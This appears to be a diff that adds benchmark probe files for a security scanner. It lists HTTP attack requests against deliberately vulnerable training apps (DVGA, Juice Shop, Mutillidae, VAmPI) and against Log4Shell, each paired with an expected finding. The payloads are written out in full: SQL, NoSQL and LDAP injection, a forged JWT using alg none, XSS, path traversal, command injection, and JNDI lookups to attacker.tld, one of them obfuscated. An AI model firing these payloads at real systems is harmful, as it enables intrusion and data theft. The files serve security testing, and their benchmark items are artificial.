T3MP3ST public launch build

bench/obsidivm-probes/dvga.json

@@ -0,0 +1 @@
+[{"id": "DVGA-PROBE-001", "title": "GraphQL injection in pastes query", "expected_finding": "GQL-001", "method": "POST", "path": "/graphql", "headers": {"content-type": "application/json"}, "body": {"query": "{ pastes(filter:\"' or 1=1--\"){ id title content } }"}, "evidence_tag": "graphql inject query mutation gql"}, {"id": "DVGA-PROBE-002", "title": "Batch-query DoS attempt \u2014 multi-alias nested", "expected_finding": "GQL-002", "method": "POST", "path": "/graphql", "headers": {"content-type": "application/json"}, "body": {"query": "{ a:systemDiagnostics(username:\"admin\",password:\"x\",cmd:\"id\") b:systemDiagnostics(username:\"admin\",password:\"x\",cmd:\"id\") c:systemDiagnostics(username:\"admin\",password:\"x\",cmd:\"id\") }"}, "evidence_tag": "batch dos denial resource nested"}, {"id": "DVGA-PROBE-003", "title": "Introspection abuse \u2014 full schema dump", "expected_finding": "GQL-003", "method": "POST", "path": "/graphql", "headers": {"content-type": "application/json"}, "body": {"query": "{ __schema { types { name kind fields { name } } } }"}, "evidence_tag": "introspection schema __schema __type field"}, {"id": "DVGA-PROBE-004", "title": "Authorization bypass \u2014 direct mutation", "expected_finding": "GQL-004", "method": "POST", "path": "/graphql", "headers": {"content-type": "application/json"}, "body": {"query": "mutation { deletePaste(id:1){ result } }"}, "evidence_tag": "auth bypass unauthorized permission role"}, {"id": "DVGA-PROBE-005", "title": "Information disclosure \u2014 verbose error via malformed query", "expected_finding": "GQL-005", "method": "POST", "path": "/graphql", "headers": {"content-type": "application/json"}, "body": {"query": "{ notARealField error stack debug }"}, "evidence_tag": "disclosure error verbose stack debug"}, {"id": "DVGA-PROBE-006", "title": "Code execution via systemDiagnostics alias", "expected_finding": "GQL-006", "method": "POST", "path": "/graphql", "headers": {"content-type": "application/json"}, "body": {"query": "{ a:systemDiagnostics(username:\"admin\",password:\"x\",cmd:\"id\") }"}, "evidence_tag": "alias code exec os command"}]

bench/obsidivm-probes/juice.json

@@ -0,0 +1 @@
+[{"id": "JUICE-PROBE-001", "title": "SQL Injection login bypass via email field", "expected_finding": "JUICE-001", "method": "POST", "path": "/rest/user/login", "headers": {"content-type": "application/json"}, "body": {"email": "' or 1=1--", "password": "x"}, "evidence_tag": "sqli sql injection login bypass ' or 1=1"}, {"id": "JUICE-PROBE-002", "title": "NoSQL injection probe in review query", "expected_finding": "JUICE-002", "method": "GET", "path": "/rest/products/reviews?id[$ne]=null", "headers": {}, "evidence_tag": "nosql mongo $ne $gt"}, {"id": "JUICE-PROBE-003", "title": "JWT none-algorithm token submission", "expected_finding": "JUICE-003", "method": "GET", "path": "/rest/user/whoami", "headers": {"authorization": "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjp7ImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AifX0."}, "evidence_tag": "jwt token alg none forged"}, {"id": "JUICE-PROBE-004", "title": "Reflected XSS via search query", "expected_finding": "JUICE-004", "method": "GET", "path": "/rest/products/search?q=%3Ciframe%20src%3Djavascript%3Aalert(1)%3E", "headers": {}, "evidence_tag": "xss cross-site script iframe javascript:alert"}, {"id": "JUICE-PROBE-005", "title": "IDOR \u2014 fetch other user basket", "expected_finding": "JUICE-005", "method": "GET", "path": "/rest/basket/1", "headers": {}, "evidence_tag": "idor insecure direct unauthorized other user"}, {"id": "JUICE-PROBE-006", "title": "Broken access control \u2014 admin endpoint", "expected_finding": "JUICE-006", "method": "GET", "path": "/api/Users", "headers": {}, "evidence_tag": "access control admin panel authorization privilege"}, {"id": "JUICE-PROBE-007", "title": "Sensitive data exposure \u2014 ftp folder", "expected_finding": "JUICE-007", "method": "GET", "path": "/ftp/", "headers": {}, "evidence_tag": "sensitive data password cleartext backup ftp"}, {"id": "JUICE-PROBE-008", "title": "Security misconfig \u2014 verbose error / debug", "expected_finding": "JUICE-008", "method": "GET", "path": "/rest/products/notarealendpoint__force_error", "headers": {}, "evidence_tag": "misconfig error handling stack trace verbose"}]

bench/obsidivm-probes/log4shell.json

@@ -0,0 +1 @@
+[{"id": "LOG4SHELL-PROBE-001", "title": "JNDI LDAP lookup via X-Api-Version header", "expected_finding": "LOG-001", "method": "GET", "path": "/", "headers": {"x-api-version": "${jndi:ldap://attacker.tld/x}"}, "evidence_tag": "log4shell jndi ldap remote class code execution cve-2021-44228"}, {"id": "LOG4SHELL-PROBE-002", "title": "JNDI RMI lookup via User-Agent", "expected_finding": "LOG-002", "method": "GET", "path": "/", "headers": {"user-agent": "${jndi:rmi://attacker.tld/x}"}, "evidence_tag": "jndi rmi log4j 2.x remote method invocation"}, {"id": "LOG4SHELL-PROBE-003", "title": "JNDI DNS exfil for OOB confirmation", "expected_finding": "LOG-003", "method": "GET", "path": "/", "headers": {"referer": "${jndi:dns://attacker.tld/oob}"}, "evidence_tag": "jndi dns out-of-band exfil oob"}, {"id": "LOG4SHELL-PROBE-004", "title": "Nested lookup obfuscation bypass", "expected_finding": "LOG-004", "method": "GET", "path": "/", "headers": {"x-api-version": "${${lower:j}ndi:${lower:l}dap://attacker.tld/x}"}, "evidence_tag": "lookup obfuscation nested ${lower} bypass waf"}, {"id": "LOG4SHELL-PROBE-005", "title": "Path-component log injection", "expected_finding": "LOG-005", "method": "GET", "path": "/${jndi:ldap://attacker.tld/p}", "headers": {}, "evidence_tag": "log injection path stringbuilder pattern converter"}]

bench/obsidivm-probes/mutillidae.json

@@ -0,0 +1 @@
+[{"id": "MUTI-PROBE-001", "title": "SQL injection via username on login", "expected_finding": "MUTI-001", "method": "POST", "path": "/index.php?page=login.php", "headers": {"content-type": "application/x-www-form-urlencoded"}, "body": "username=' or 1=1-- &password=x&login-php-submit-button=Login", "evidence_tag": "sqli sql injection login bypass union or 1=1"}, {"id": "MUTI-PROBE-002", "title": "LDAP injection on user lookup", "expected_finding": "MUTI-002", "method": "POST", "path": "/index.php?page=ldap-lookup.php", "headers": {"content-type": "application/x-www-form-urlencoded"}, "body": "username=*&password=*&dap-php-submit-button=Submit", "evidence_tag": "ldap injection wildcard filter bypass"}, {"id": "MUTI-PROBE-003", "title": "Path traversal in directory-browsing arg", "expected_finding": "MUTI-003", "method": "GET", "path": "/index.php?page=../../../../etc/passwd", "headers": {}, "evidence_tag": "path traversal directory ../../ /etc/passwd lfi"}, {"id": "MUTI-PROBE-004", "title": "Reflected XSS in name parameter", "expected_finding": "MUTI-004", "method": "GET", "path": "/index.php?page=document-viewer.php&document=<script>alert(1)</script>", "headers": {}, "evidence_tag": "xss reflected cross-site script alert"}, {"id": "MUTI-PROBE-005", "title": "Clickjacking X-Frame-Options missing", "expected_finding": "MUTI-005", "method": "GET", "path": "/", "headers": {}, "evidence_tag": "clickjacking x-frame-options missing frame iframe"}, {"id": "MUTI-PROBE-006", "title": "CBC bit-flipping in session cookie", "expected_finding": "MUTI-006", "method": "GET", "path": "/index.php?page=set-uid-1.php", "headers": {"cookie": "uid=AAAAAAAAAAAAAAAA"}, "evidence_tag": "cbc bit flipping session cookie crypto"}, {"id": "MUTI-PROBE-007", "title": "Auth bypass via direct page access", "expected_finding": "MUTI-007", "method": "GET", "path": "/index.php?page=secret-administrative-pages.php", "headers": {}, "evidence_tag": "auth bypass direct page access broken access control"}, {"id": "MUTI-PROBE-008", "title": "Command injection in DNS lookup", "expected_finding": "MUTI-008", "method": "POST", "path": "/index.php?page=dns-lookup.php", "headers": {"content-type": "application/x-www-form-urlencoded"}, "body": "target_host=127.0.0.1;id&dns-lookup-php-submit-button=Lookup+DNS", "evidence_tag": "command injection os shell metacharacter ;id www-data"}]

bench/obsidivm-probes/vampi.json

@@ -0,0 +1 @@
+[{"id": "VAMPI-PROBE-001", "title": "SQL injection in books query", "expected_finding": "API-001", "method": "GET", "path": "/books/v2/' UNION SELECT user,password FROM users-- -", "headers": {}, "evidence_tag": "sqli sql inject query database union"}, {"id": "VAMPI-PROBE-002", "title": "BOLA/IDOR \u2014 fetch other user data", "expected_finding": "API-002", "method": "GET", "path": "/users/v2/admin", "headers": {}, "evidence_tag": "bola idor insecure direct other user unauthorized"}, {"id": "VAMPI-PROBE-003", "title": "Broken auth \u2014 invalid JWT acceptance", "expected_finding": "API-003", "method": "GET", "path": "/me", "headers": {"authorization": "Bearer not-a-real-token-but-tested"}, "evidence_tag": "auth token jwt password login"}, {"id": "VAMPI-PROBE-004", "title": "Mass assignment \u2014 register with admin=true", "expected_finding": "API-004", "method": "POST", "path": "/users/v1/register", "headers": {"content-type": "application/json"}, "body": {"username": "probe", "password": "probe", "email": "p@p", "admin": true}, "evidence_tag": "mass assign parameter role admin privilege"}, {"id": "VAMPI-PROBE-005", "title": "Excessive data exposure \u2014 full users list returns hashes", "expected_finding": "API-005", "method": "GET", "path": "/users/v1/_debug", "headers": {}, "evidence_tag": "excessive data exposure sensitive leak"}, {"id": "VAMPI-PROBE-006", "title": "Unauthorized password change \u2014 other user", "expected_finding": "API-006", "method": "PUT", "path": "/users/v1/name1/password", "headers": {"content-type": "application/json"}, "body": {"password": "newpw"}, "evidence_tag": "password change unauthorized reset account"}]